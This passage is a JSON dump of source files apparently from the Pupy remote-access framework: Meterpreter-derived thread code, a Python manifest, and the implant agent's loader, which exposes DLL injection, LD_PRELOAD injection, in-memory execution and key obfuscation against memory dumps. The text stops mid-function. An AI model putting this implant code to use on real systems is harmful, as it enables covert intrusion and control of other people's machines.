    "content": "#ifndef _METERPRETER_REMOTE_THREAD_H\n#define _METERPRETER_REMOTE_THREAD_H\n\nHANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);\n\n#endif\n"
  },
  {
    "path": "client/sources-windows-py3/resource_python_manifest.c",
    "content": "\n#ifdef _WIN64\n    const char resource_python_manifest[]=\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\\n\"\n\"<assembly xmlns=\\\"urn:schemas-microsoft-com:asm.v1\\\" manifestVersion=\\\"1.0\\\">\\n\"\n\"<trustInfo xmlns=\\\"urn:schemas-microsoft-com:asm.v3\\\">\\n\"\n\"<security>\\n\"\n\"<requestedPrivileges>\\n\"\n\"<requestedExecutionLevel level=\\\"asInvoker\\\" uiAccess=\\\"false\\\"></requestedExecutionLevel>\\n\"\n\"</requestedPrivileges>\\n\"\n\"</security>\\n\"\n\"</trustInfo>\\n\"\n\"<dependency>\\n\"\n\"<dependentAssembly>\\n\"\n\"<assemblyIdentity type=\\\"win32\\\" name=\\\"Microsoft.VC90.CRT\\\" version=\\\"9.0.21022.8\\\" processorArchitecture=\\\"amd64\\\" publicKeyToken=\\\"1fc8b3b9a1e18e3b\\\"></assemblyIdentity>\\n\"\n\"</dependentAssembly>\\n\"\n\"</dependency>\\n\"\n\"</assembly>\\n\";\n#else\n    const char resource_python_manifest[]=\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\\n\"\n\"<assembly xmlns=\\\"urn:schemas-microsoft-com:asm.v1\\\" manifestVersion=\\\"1.0\\\">\\n\"\n\"<trustInfo xmlns=\\\"urn:schemas-microsoft-com:asm.v3\\\">\\n\"\n\"<security>\\n\"\n\"<requestedPrivileges>\\n\"\n\"<requestedExecutionLevel level=\\\"asInvoker\\\" uiAccess=\\\"false\\\"></requestedExecutionLevel>\\n\"\n\"</requestedPrivileges>\\n\"\n\"</security>\\n\"\n\"</trustInfo>\\n\"\n\"<dependency>\\n\"\n\"<dependentAssembly>\\n\"\n\"<assemblyIdentity type=\\\"win32\\\" name=\\\"Microsoft.VC90.CRT\\\" version=\\\"9.0.21022.8\\\" processorArchitecture=\\\"x86\\\" publicKeyToken=\\\"1fc8b3b9a1e18e3b\\\"></assemblyIdentity>\\n\"\n\"</dependentAssembly>\\n\"\n\"</dependency>\\n\"\n\"</assembly>\\n\";\n#endif\n\n"
  },
  {
    "path": "client/sources-windows-py3/thread.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"thread.h\"\n#ifndef _WIN32\n#include <pthread.h>\n\nint __futex_wait(volatile void *ftx, int val, const struct timespec *timeout);\nint __futex_wake(volatile void *ftx, int count);\n\n#include <time.h>\n#include <signal.h>\n\n#endif\n\n// thread.c contains wrappers for the primitives of locks, events and threads for use in\n// the multithreaded meterpreter. This is the win32/win64 implementation.\n\n/*****************************************************************************************/\n\n/*\n * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue\n * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal\n * as CriticalSections but they appear to resolve the OpenSSL deadlock issue.\n */\nLOCK * lock_create( VOID )\n{\n    LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) );\n    if( lock != NULL )\n    {\n        memset( lock, 0, sizeof( LOCK ) );\n\n#ifdef _WIN32\n        lock->handle = CreateMutex( NULL, FALSE, NULL );\n#else\n        pthread_mutex_init(lock->handle, NULL);\n#endif\n    }\n    return lock;\n}\n\n/*\n * Destroy a lock that is no longer required.\n */\nVOID lock_destroy( LOCK * lock )\n{\n    if( lock != NULL  )\n    {\n        lock_release( lock );\n\n#ifdef _WIN32\n        CloseHandle( lock->handle );\n#else\n        pthread_mutex_destroy(lock->handle);\n#endif\n\n        free( lock );\n    }\n}\n\n/*\n * Acquire a lock and block untill it is acquired.\n */\nVOID lock_acquire( LOCK * lock )\n{\n    if( lock != NULL  ) {\n#ifdef _WIN32\n        WaitForSingleObject( lock->handle, INFINITE );\n#else\n        pthread_mutex_lock(lock->handle);\n#endif\n    }\n}\n\n/*\n * Release a lock previously held.\n */\nVOID lock_release( LOCK * lock )\n{\n    if( lock != NULL  ) {\n#ifdef _WIN32\n        ReleaseMutex( lock->handle );\n#else\n        pthread_mutex_unlock(lock->handle);\n#endif\n    }\n}\n\n/*****************************************************************************************/\n\n/*\n * Create a new event which can be signaled/polled/and blocked on.\n */\nEVENT * event_create( VOID )\n{\n    EVENT * event = NULL;\n\n    event = (EVENT *)malloc( sizeof( EVENT ) );\n    if( event == NULL )\n        return NULL;\n\n    memset( event, 0, sizeof( EVENT ) );\n\n#ifdef _WIN32\n    event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );\n    if( event->handle == NULL )\n    {\n        free( event );\n        return NULL;\n    }\n#endif\n\n    return event;\n}\n\n/*\n * Destroy an event.\n */\nBOOL event_destroy( EVENT * event )\n{\n    if( event == NULL )\n        return FALSE;\n\n#ifdef _WIN32\n    CloseHandle( event->handle );\n#endif\n\n    free( event );\n\n    return TRUE;\n}\n\n/*\n * Signal an event.\n */\nBOOL event_signal( EVENT * event )\n{\n    if( event == NULL )\n        return FALSE;\n\n#ifdef _WIN32\n    //dprintf( \"Signalling 0x%x\", event->handle );\n    if( SetEvent( event->handle ) == 0 ) {\n        //dprintf( \"Signalling 0x%x failed %u\", event->handle, GetLastError() );\n        return FALSE;\n    }\n#else\n    event->handle = (HANDLE)1;\n    __futex_wake(&(event->handle), 1);\n#endif\n\n    return TRUE;\n}\n\n/*\n * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly.\n * If timeout is 0 this function does not block but returns immediately.\n */\nBOOL event_poll( EVENT * event, DWORD timeout )\n{\n#ifdef _WIN32\n    if( event == NULL )\n        return FALSE;\n\n    if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )\n        return TRUE;\n\n    return FALSE;\n#else\n    BOOL result = FALSE;\n\n    // DWORD WINAPI WaitForSingleObject(\n    // __in  HANDLE hHandle,\n    // __in  DWORD dwMilliseconds\n    // );\n    // http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx\n\n    if( event == NULL )\n        return FALSE;\n\n    if(timeout) {\n        struct timespec ts;\n\n        // XXX, need to verify for -1. below modified from bionic/pthread.c\n        // and maybe loop if needed ;\\\n\n        ts.tv_sec = timeout / 1000;\n        ts.tv_nsec = (timeout%1000)*1000000;\n        if (ts.tv_nsec >= 1000000000) {\n            ts.tv_sec++;\n            ts.tv_nsec -= 1000000000;\n        }\n\n        // atomically checks if event->handle is 0, if so,\n        // it sleeps for timeout. if event->handle is 1, it\n        // returns straight away.\n\n        __futex_wait(&(event->handle), 0, &ts);\n    }\n\n    // We should behave like an auto-reset event\n    result = event->handle ? TRUE : FALSE;\n    if( result )\n        event->handle = (HANDLE)0;\n\n    return result;\n#endif\n}\n\n/*****************************************************************************************/\n\n/*\n * Opens and create a THREAD item for the current/calling thread.\n */\nTHREAD * thread_open( VOID )\n{\n    THREAD * thread        = NULL;\n#ifdef _WIN32\n    OPENTHREAD pOpenThread = NULL;\n    HMODULE hKernel32      = NULL;\n\n\n    thread = (THREAD *)malloc( sizeof( THREAD ) );\n    if( thread != NULL )\n    {\n        memset( thread, 0, sizeof(THREAD) );\n\n        thread->id      = GetCurrentThreadId();\n        thread->sigterm = event_create();\n\n        // Windows specific process of opening a handle to the current thread which\n        // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access\n        // for now.\n\n        // First we try to use the normal OpenThread function, available on Windows 2000 and up...\n        hKernel32 = LoadLibrary( \"kernel32.dll\" );\n        pOpenThread = (OPENTHREAD)GetProcAddress( hKernel32, \"OpenThread\" );\n        if( pOpenThread )\n        {\n            thread->handle = pOpenThread( THREAD_TERMINATE|THREAD_SUSPEND_RESUME, FALSE, thread->id );\n        }\n        else\n        {\n            NTOPENTHREAD pNtOpenThread = NULL;\n            // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.\n            HMODULE hNtDll = LoadLibrary( \"ntdll.dll\" );\n            pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, \"NtOpenThread\" );\n            if( pNtOpenThread )\n            {\n                _OBJECT_ATTRIBUTES oa = {0};\n                _CLIENT_ID cid        = {0};\n\n                cid.UniqueThread = (PVOID)thread->id;\n\n                pNtOpenThread( &thread->handle, THREAD_TERMINATE|THREAD_SUSPEND_RESUME, &oa, &cid );\n            }\n\n            FreeLibrary( hNtDll );\n        }\n\n        FreeLibrary( hKernel32 );\n    }\n\n    return thread;\n#else\n    thread = (THREAD *)malloc( sizeof( THREAD ) );\n\n    if( thread != NULL )\n    {\n        memset( thread, 0, sizeof(THREAD) );\n\n        thread->id      = gettid();\n        thread->sigterm = event_create();\n        thread->pid\t= pthread_self();\n    }\n    return thread;\n#endif\n}\n\n#ifndef _WIN32\n\nstruct thread_conditional {\n    pthread_mutex_t suspend_mutex;\n    pthread_cond_t suspend_cond;\n    int engine_running;\n    LPVOID (*funk)(void *arg);\n    THREAD *thread;\n};\n\nvoid __thread_cancelled(int signo)\n{\n    signal(SIGTERM, SIG_DFL);\n    pthread_exit(NULL);\n}\n\n/*\n * This is the entry point for threads created with thread_create.\n *\n * To implement suspended threads, we need to do some messing around with\n * mutexes and conditional broadcasts ;\\\n */\n\nvoid *__paused_thread(void *req)\n{\n    LPVOID (*funk)(void *arg);\n    THREAD *thread;\n\n    struct thread_conditional *tc = (struct thread_conditional *)(req);\n    tc->thread->id = gettid();\n\n    signal(SIGTERM, __thread_cancelled);\n\n    pthread_mutex_lock(&tc->suspend_mutex);\n\n    while(tc->engine_running == FALSE) {\n        pthread_cond_wait(&tc->suspend_cond, &tc->suspend_mutex);\n    }\n\n    pthread_mutex_unlock(&tc->suspend_mutex);\n\n    funk = tc->funk;\n    thread = tc->thread;\n    free(tc);\n\n    if(event_poll(thread->sigterm, 0) == TRUE) {\n        /*\n         * In some cases, we might want to stop a thread before it does anything :/\n         */\n        return NULL;\n    }\n\n    return funk(thread);\n}\n#endif\n\n/*\n * Create a new thread in a suspended state.\n */\nTHREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )\n{\n    THREAD * thread = NULL;\n\n    if( funk == NULL )\n        return NULL;\n\n    thread = (THREAD *)malloc( sizeof( THREAD ) );\n    if( thread == NULL )\n        return NULL;\n\n    memset( thread, 0, sizeof( THREAD ) );\n\n    thread->sigterm = event_create();\n    if( thread->sigterm == NULL )\n    {\n        free( thread );\n        return NULL;\n    }\n\n\n    thread->parameter1 = param1;\n    thread->parameter2 = param2;\n    thread->parameter3 = param3;\n\n#ifdef _WIN32\n    thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );\n\n    if( thread->handle == NULL )\n    {\n        event_destroy( thread->sigterm );\n        free( thread );\n        return NULL;\n    }\n\n#else\n    // PKS, this is fucky.\n    // we need to use conditionals to implement this.\n\n    thread->thread_started = FALSE;\n\n    do {\n        pthread_t pid;\n\n        struct thread_conditional *tc;\n        tc = (struct thread_conditional *) malloc(sizeof(struct thread_conditional));\n\n        if( tc == NULL ) {\n            event_destroy(thread->sigterm);\n            free(thread);\n            return NULL;\n        }\n\n        memset( tc, 0, sizeof(struct thread_conditional));\n\n        pthread_mutex_init(&tc->suspend_mutex, NULL);\n        pthread_cond_init(&tc->suspend_cond, NULL);\n\n        tc->funk = funk;\n        tc->thread = thread;\n\n        thread->suspend_thread_data = (void *)(tc);\n\n        if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) {\n            free(tc);\n            event_destroy(thread->sigterm);\n            free(thread);\n            return NULL;\n        }\n        // __paused_thread free's the allocated memory.\n\n    } while(0);\n#endif\n\n    return thread;\n}\n\n/*\n * Run a thread.\n */\nBOOL thread_run( THREAD * thread )\n{\n    if( thread == NULL )\n        return FALSE;\n\n#ifdef _WIN32\n    if( ResumeThread( thread->handle ) < 0 )\n        return FALSE;\n\n#else\n    struct thread_conditional *tc;\n    tc = (struct thread_conditional *)thread->suspend_thread_data;\n    pthread_mutex_lock(&tc->suspend_mutex);\n    tc->engine_running = TRUE;\n    pthread_mutex_unlock(&tc->suspend_mutex);\n    pthread_cond_signal(&tc->suspend_cond);\n\n    thread->thread_started = TRUE;\n#endif\n    return TRUE;\n}\n\n/*\n * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal.\n * Should be used to signal the thread to terminate.\n */\nBOOL thread_sigterm( THREAD * thread )\n{\n    BOOL ret;\n\n    if( thread == NULL )\n        return FALSE;\n\n    ret = event_signal( thread->sigterm );\n\n#ifndef _WIN32\n    /*\n     * If we sig term a thread before it's started execution, we will leak memory / not be\n     * able to join on the thread, etc.\n     *\n     * Therefore, we need to start the thread executing before calling thread_join\n     */\n    if(thread->thread_started != TRUE) {\n        thread_run(thread);\n    }\n#endif\n\n    return ret;\n}\n\n/*\n * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so.\n */\nBOOL thread_kill( THREAD * thread )\n{\n    if( thread == NULL )\n        return FALSE;\n\n#ifdef _WIN32\n    if( TerminateThread( thread->handle, -1 ) == 0 )\n        return FALSE;\n\n    return TRUE;\n#else\n    // bionic/libc/bionic/CAVEATS\n    // - pthread cancellation is *not* supported. this seemingly simple \"feature\" is the source\n    // of much bloat and complexity in a C library. Besides, you'd better write correct\n    // multi-threaded code instead of relying on this stuff.\n\n    // pthread_kill says: Note  that  pthread_kill()  only  causes  the\n    // signal to be handled in the context of the given thread; the signal\n    // action (termination or stopping) affects the process as a whole.\n\n    // We send our thread a SIGTERM, and a signal handler calls pthread_exit().\n\n    pthread_kill(thread->id, SIGTERM);\n    return FALSE;\n#endif\n}\n\n\n/*\n * Blocks untill the thread has terminated.\n */\nBOOL thread_join( THREAD * thread )\n{\n    if( thread == NULL )\n        return FALSE;\n\n#ifdef _WIN32\n    if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 )\n        return TRUE;\n\n    return FALSE;\n#else\n    if(pthread_join(thread->pid, NULL) == 0)\n        return TRUE;\n\n    return FALSE;\n#endif\n}\n\n/*\n * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your\n * thread to terminate and wait for it to do so (via thread_signal/thread_join).\n */\nBOOL thread_destroy( THREAD * thread )\n{\n    if( thread == NULL )\n        return FALSE;\n\n    event_destroy( thread->sigterm );\n\n#ifdef _WIN32\n    CloseHandle( thread->handle );\n#else\n    pthread_detach(thread->pid);\n#endif\n\n    free( thread );\n\n    return TRUE;\n}\n\n"
  },
  {
    "path": "client/sources-windows-py3/thread.h",
    "content": "#ifndef _METERPRETER_LIB_THREAD_H\n#define _METERPRETER_LIB_THREAD_H\n\n#ifdef _WIN32\n\n/*****************************************************************************************/\n// Win32/64 specific definitions...\n\ntypedef struct __UNICODE_STRING\n{\n    USHORT Length;\n    USHORT MaximumLength;\n    PWSTR Buffer;\n} _UNICODE_STRING, * _PUNICODE_STRING;\n\ntypedef struct __OBJECT_ATTRIBUTES\n{\n    ULONG Length;\n    HANDLE RootDirectory;\n    _PUNICODE_STRING ObjectName;\n    ULONG Attributes;\n    PVOID SecurityDescriptor;\n    PVOID SecurityQualityOfService;\n} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES;\n\ntypedef struct __CLIENT_ID\n{\n  PVOID UniqueProcess;\n  PVOID UniqueThread;\n} _CLIENT_ID, * _PCLIENT_ID;\n\ntypedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread\n\ntypedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread\n\n/*****************************************************************************************/\n\n#else\n#include \"pthread.h\"\n#endif // _WIN32\n\ntypedef struct _LOCK\n{\n#ifdef _WIN32\n    HANDLE handle;\n#else\n    pthread_mutex_t *handle;\n#endif // _WIN32\n} LOCK, * LPLOCK;\n\ntypedef struct _EVENT\n{\n    HANDLE handle;\n} EVENT, * LPEVENT;\n\ntypedef struct _THREAD\n{\n    DWORD id;\n    HANDLE handle;\n    EVENT * sigterm;\n    LPVOID parameter1;\n    LPVOID parameter2;\n    LPVOID parameter3;\n#ifndef _WIN32\n    void *suspend_thread_data;\n    pthread_t pid;\n    int thread_started;\n#endif\n} THREAD, * LPTHREAD;\n\n#ifdef __GNUC__\n#define THREADCALL __attribute__((stdcall))\n#else // ! gcc\n#define THREADCALL __stdcall\n#endif\n\ntypedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );\n\n/*****************************************************************************************/\n\nLOCK * lock_create( VOID );\n\nVOID lock_destroy( LOCK * lock );\n\nVOID lock_acquire( LOCK * lock );\n\nVOID lock_release( LOCK * lock );\n\n/*****************************************************************************************/\n\nEVENT * event_create( VOID );\n\nBOOL event_destroy( EVENT * event );\n\nBOOL event_signal( EVENT * event );\n\nBOOL event_poll( EVENT * event, DWORD timeout );\n\n/*****************************************************************************************/\n\nTHREAD * thread_open( VOID );\n\nTHREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );\n\nBOOL thread_run( THREAD * thread );\n\nBOOL thread_sigterm( THREAD * thread );\n\nBOOL thread_kill( THREAD * thread );\n\nBOOL thread_join( THREAD * thread );\n\nBOOL thread_destroy( THREAD * thread );\n\n/*****************************************************************************************/\n\n#endif\n\n"
  },
  {
    "path": "pupy/.dockerignore",
    "content": "Dockerfile\n.dockerignore\n**/.git\n**/.gitignore\n**/*.exp\n**/*.lib\ncrypto/credentials.py\ndata\nexternal/winpty\nexternal/scapy\n**/__pycache__*\n**/test?\npackages/src\n**/*.pyc\n**/*.pyo\n"
  },
  {
    "path": "pupy/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/agent/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n# ------------------------------------------------------------------------------\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n#    this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n#    this list of conditions and the following disclaimer in the documentation\n#    and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n#    may be used to endorse or promote products derived from this software\n#    without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE\n# ------------------------------------------------------------------------------\n\n# Public API\n\n__all__ = (\n    'EXTS_SOURCES', 'EXTS_COMPILED', 'EXTS_NATIVE', 'EXTS_ALL',\n    'Blackhole', 'DummyPackageLoader', 'PupyPackageLoader',\n\n    'config', 'dlls', 'client', 'revision',\n\n    'namespace', 'set_broadcast_event', 'broadcast_event',\n    'obtain',\n\n    'manager', 'Task', 'Manager',\n\n    'is_supported', 'is_native',\n\n    'make_module',\n    'get_arch', 'load_dll', 'is_shared',\n    'reflective_inject_dll', 'ld_preload_inject_dll', 'mexec',\n    'set_exit_session_callback', 'find_function_address',\n\n    'set_pupy_config',\n\n    'set_debug', 'get_debug', 'dprint', 'remote_error', 'get_logger',\n    'get_pending_log',\n\n    'update_module_dict',\n\n    'main'\n\n)\nimport sys\nimport marshal\nimport gc\nimport _imp\n\nos_ = None\n\n\nfor module in ('nt', 'posix'):\n    if module in sys.builtin_module_names:\n        os_ = __import__(module)\n\nimport importlib.util as imputil\n\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\ndef _stub(*args, **kwargs):\n    raise NotImplementedError()\n\n\ndef is_supported(function):\n    return hasattr(function, '__call__') and function != _stub\n\n\n# Pupy client API\n\nclient = None\nconfig = {}\n\ntry:\n    import _pupy\n\n    # Reset search paths ASAP\n\n    #del sys.meta_path[:]\n    # removing path imports from meta_path\n    import _frozen_importlib_external\n    if _frozen_importlib_external.PathFinder in sys.meta_path:\n        sys.meta_path.remove(_frozen_importlib_external.PathFinder)\n    del sys.path[:]\n    del sys.path_hooks[:]\n\n    sys.path_importer_cache.clear()\n\n    from _pupy import (\n        get_arch, is_shared\n    )\n\n    from _pupy import load_dll as _load_dll\n    from _pupy import import_module as _import_module\n\n    if hasattr(_pupy, 'revision'):\n        from _pupy import revision\n    else:\n        revision = None\n\n    if hasattr(_pupy, 'reflective_inject_dll'):\n        from _pupy import reflective_inject_dll\n    else:\n        reflective_inject_dll = _stub\n\n    if hasattr(_pupy, 'ld_preload_inject_dll'):\n        from _pupy import ld_preload_inject_dll\n    else:\n        ld_preload_inject_dll = _stub\n\n    if hasattr(_pupy, 'mexec'):\n        from _pupy import mexec\n    else:\n        mexec = _stub\n\n    if hasattr(_pupy, 'set_exit_session_callback'):\n        from _pupy import set_exit_session_callback\n    else:\n        set_exit_session_callback = _stub\n\n    if hasattr(_pupy, 'find_function_address'):\n        from _pupy import find_function_address\n    else:\n        find_function_address = _stub\n\n    def is_native():\n        return True\n\nexcept ImportError:\n    def is_shared():\n        return False\n\n    def is_native():\n        return False\n\n    _import_module = _stub\n    _load_dll = _stub\n    get_arch = _stub\n    set_exit_session_callback = _stub\n    find_function_address = _stub\n    revision = None\n    mexec = _stub\n\n\nEXTS_SOURCES = ('.py',)\nEXTS_COMPILED = ('.pye', '.pyo', '.pyc')\nABI = str(sys.version_info[0])\nEXTS_NATIVE = ('.pyd', '.so', '.dll', '.abi'+ABI+'.so', '.abi'+ABI+'.pyd')\nEXTS_ALL = EXTS_NATIVE + EXTS_COMPILED + EXTS_SOURCES\nANY_INIT = tuple(\n    '__init__' + ext for ext in EXTS_SOURCES + EXTS_COMPILED\n)\n\nMODULE_CLASS = sys.__class__\n\n__debug = False\n__debug_file = None\n__debug_pending = []\n__trace = False\n__dprint_method = None\n\npupy_modules = None\ndlls = {}\n\npupy_hooks = None\nimport_module = None\nLOGGER = None\n\ncreds_cache = {}\nnamespace = None\nobtain = None\nmanager = None\nTask = None\nManager = None\n\n_pywintypes = None\n\naliases = {\n    'Cryptodome': 'Crypto',\n}\n\ndirect_load = {\n    # 'pywintypes': 'pywintypes27.dll',\n    # 'pythoncom': 'pythoncom27.dll'\n}\n\n\n\n\ndef update_module_dict(mod):\n    pupy_modules.update(mod)\n\ndef get_pending_log():\n    log = __debug_pending[:]\n    del __debug_pending[:]\n    return log\n\n\ndef set_pupy_config(new_config):\n    config.clear()\n    config.update(new_config)\n\n\ndef set_broadcast_event(callback):\n    if not client:\n        # Not ready?\n        return\n\n    client.set_broadcast_event(callback)\n\n\ndef broadcast_event(eventid, *args, **kwargs):\n    if not client:\n        return\n\n    client.broadcast_event(eventid, *args, **kwargs)\n\n\ndef get_logger(name):\n    global LOGGER\n    if LOGGER is None:\n        from .logger import create_root_logger\n        LOGGER = create_root_logger()\n    return LOGGER.getChild(name)\n\n\ndef set_stdio(null=False):\n    if os_:\n        try:\n            os_.fstat(sys.stdout.fileno())\n            os_.fstat(sys.stderr.fileno())\n        except Exception:\n            null = True\n\n    if null:\n        sys.stdout = Blackhole()\n        sys.stderr = Blackhole()\n\n\ndef set_debug(is_enabled):\n    global __debug\n    \n    if is_enabled:\n        sys.tracebacklimit = 30\n        __debug = True\n        setattr(sys, \"__debug\", True)\n\n    else:\n        sys.tracebacklimit = 20\n        __debug = False\n        setattr(sys, \"__debug\", False)\n\n\ndef get_debug():\n    return __debug, __debug_file\n\n\ndef dprint(msg, *args, **kwargs):\n    if not (__dprint_method or __debug or getattr(sys, \"__debug\", False)):\n        return\n\n    if args or kwargs:\n        if '%%' in msg:\n            msg = msg % tuple(args)\n        else:\n            msg = msg.format(*args, **kwargs)\n\n    error = None\n\n    try:\n        if __dprint_method:\n            __dprint_method(msg)\n            return\n\n        elif not isinstance(sys.stderr, Blackhole):\n            sys.stderr.write(msg)\n            sys.stderr.write('\\n')\n            sys.stderr.flush()\n            return\n\n    except Exception as e:\n        error = e\n\n    __debug_pending.append(msg)\n\n    if error:\n        __debug_pending.append(error)\n\n\ndef remote_error(message, *args, **kwargs):\n    try:\n        import traceback\n        exception_info = str(traceback.format_exc())\n        message += '\\n' + exception_info\n    except ImportError:\n        pass\n    \n    if not pupy_hooks.remote_print_error:\n        dprint(message, *args, **kwargs)\n        return\n\n    if args and '%%' in message:\n        message = message % tuple(args)\n    elif args or kwargs:\n        message = message.format(*args, **kwargs)\n\n    try:\n        pupy_hooks.remote_print_error(message)\n    except Exception as e:\n        dprint('Error: {}, message={}', e, message)\n        return\n\n\ndef loadpy(src, dst, masked=False):\n    src = bytes(src)\n    content = src\n\n    if masked:\n        # Poors man \"obfuscation\", just to reduce (a bit) amount of our\n        # plaintext keys in mem dump\n        content = bytearray(len(src))\n        for i, x in enumerate(src):\n            content[i] = chr(\n                ord(x) ^ ((2 ** ((65535 - i) % 65535)) % 251)\n            )\n\n    try:\n        exec (marshal.loads(bytes(content)), dst)\n    except Exception as e:\n        message = str(e)\n        try:\n            import traceback\n            exception_info = str(traceback.format_exc())\n            message += '\\n' + exception_info + '\\nAT:\\n'\n            message += ''.join(traceback.format_stack())\n        except ImportError:\n            pass\n\n        dprint(\"Failed call loadpy: \" + message)\n        raise\n\n\ndef import_module(data, initname, fullname, path):\n    if not is_supported(_import_module):\n        return None\n\n    spec = imputil.spec_from_loader(fullname, loader=None)\n    return _import_module(data, initname, fullname, path, spec)\n\n\ndef load_dll(name, buf=None):\n    if not is_supported(_load_dll):\n        return None\n\n    if name in dlls:\n        return dlls[name]\n\n    cleanup_name = False\n\n    if buf is None:\n        if name in pupy_modules.modules:\n            buf = pupy_modules.modules[name]\n            cleanup_name = True\n        else:\n            return None\n    dprint(\"calling load_dll(name={}, buflen={}, buf0={}, buf1={})\", name, len(buf), buf[0], buf[1]) \n    handle = _load_dll(name, buf)\n    dprint(\"load_dll() handle={}\",handle)\n    if handle:\n        dlls[name] = handle\n\n        if cleanup_name:\n            del pupy_modules.modules[name]\n\n        return handle\n\n    return None\n\n\ndef _get_module_files(fullname, path=None):\n    \"\"\" return the file to load \"\"\"\n\n    maybe_path = fullname.replace('.', '/')\n    if not path:\n        path = maybe_path\n    elif path.startswith('pupy://'):\n        path = path[7:]\n        if not maybe_path.startswith(path + '/'):\n            path += '/' + maybe_path\n        else:\n            path = maybe_path\n    else:\n        if not maybe_path.startswith(path + '/'):\n            path += '/' + maybe_path\n        else:\n            path = maybe_path\n\n    while '//' in path:\n        path = path.replace('//', '/')\n\n    dprint(\"Search in modules: \" + path)\n\n    files = [\n        module for module in pupy_modules.modules\n        if module.rsplit('.', 1)[0] == path or any([\n            (\n                path + '/__init__' + ext == module\n            ) for ext in EXTS_ALL\n        ])\n    ]\n    dprint(\"Potential files found in memory: %s\"%files)\n\n    return files\n\n\ndef get_module_files(fullname, paths=[None]):\n    dprint(\n        \"get_module_files({}, {})\".format(\n            repr(fullname), repr(paths)\n        )\n    )\n\n    for path in paths:\n        files = _get_module_files(fullname, path)\n        if files:\n            return files\n\n    return []\n\n\ndef make_module(fullname, path=None, is_pkg=False, mod=None):\n    if mod is None:\n        #mod = imp.new_module(fullname)\n        spec = imputil.spec_from_loader(fullname, loader=None)\n        mod = imputil.module_from_spec(spec)\n    dprint(\"make_module: %s %s %s\"%(fullname, path, mod))\n    mod.__name__ = str(fullname)\n    mod.__file__ = str(\n        'pupy://{}'.format(path or fullname + '.py')\n    )\n\n    if is_pkg:\n        mod.__path__ = [\n            str(mod.__file__.rsplit('/', 1)[0])\n        ]\n        mod.__package__ = str(fullname)\n    else:\n        mod.__package__ = str(fullname.rsplit('.', 1)[0])\n\n    original_module = sys.modules.get(fullname)\n    if original_module:\n        # Looks like a reload\n        for (alias, module) in sys.modules.items():\n            if module is original_module:\n                sys.modules[alias] = mod\n\n    sys.modules[fullname] = mod\n    return mod\n\n\nclass Blackhole(object):\n    def _do_nothing(self, *args, **kwargs):\n        pass\n\n    read = write = flush = close = _do_nothing\n\n\nclass DummyPackageLoader(object):\n    __slots__ = ('fullname')\n\n    def __init__(self, fullname):\n        self.fullname = fullname\n\n    def load_module(self, fullname):\n        return sys.modules[self.fullname]\n\n\nclass PupyPackageLoader(object):\n    __slots__ = (\n        'fullname', 'contents', 'extension',\n        'is_pkg', 'path', 'archive'\n    )\n\n    def __init__(self, fullname, contents, extension, is_pkg, path):\n        self.fullname = fullname\n        self.contents = contents\n        self.extension = extension\n        self.is_pkg = is_pkg\n        self.path = path\n        self.archive = ''\n\n    def __repr__(self):\n        return f\"'pupy://{self.path}'\"\n\n    def _rename_aliased(self, fullname):\n        for alias, aliased in aliases.items():\n            if not 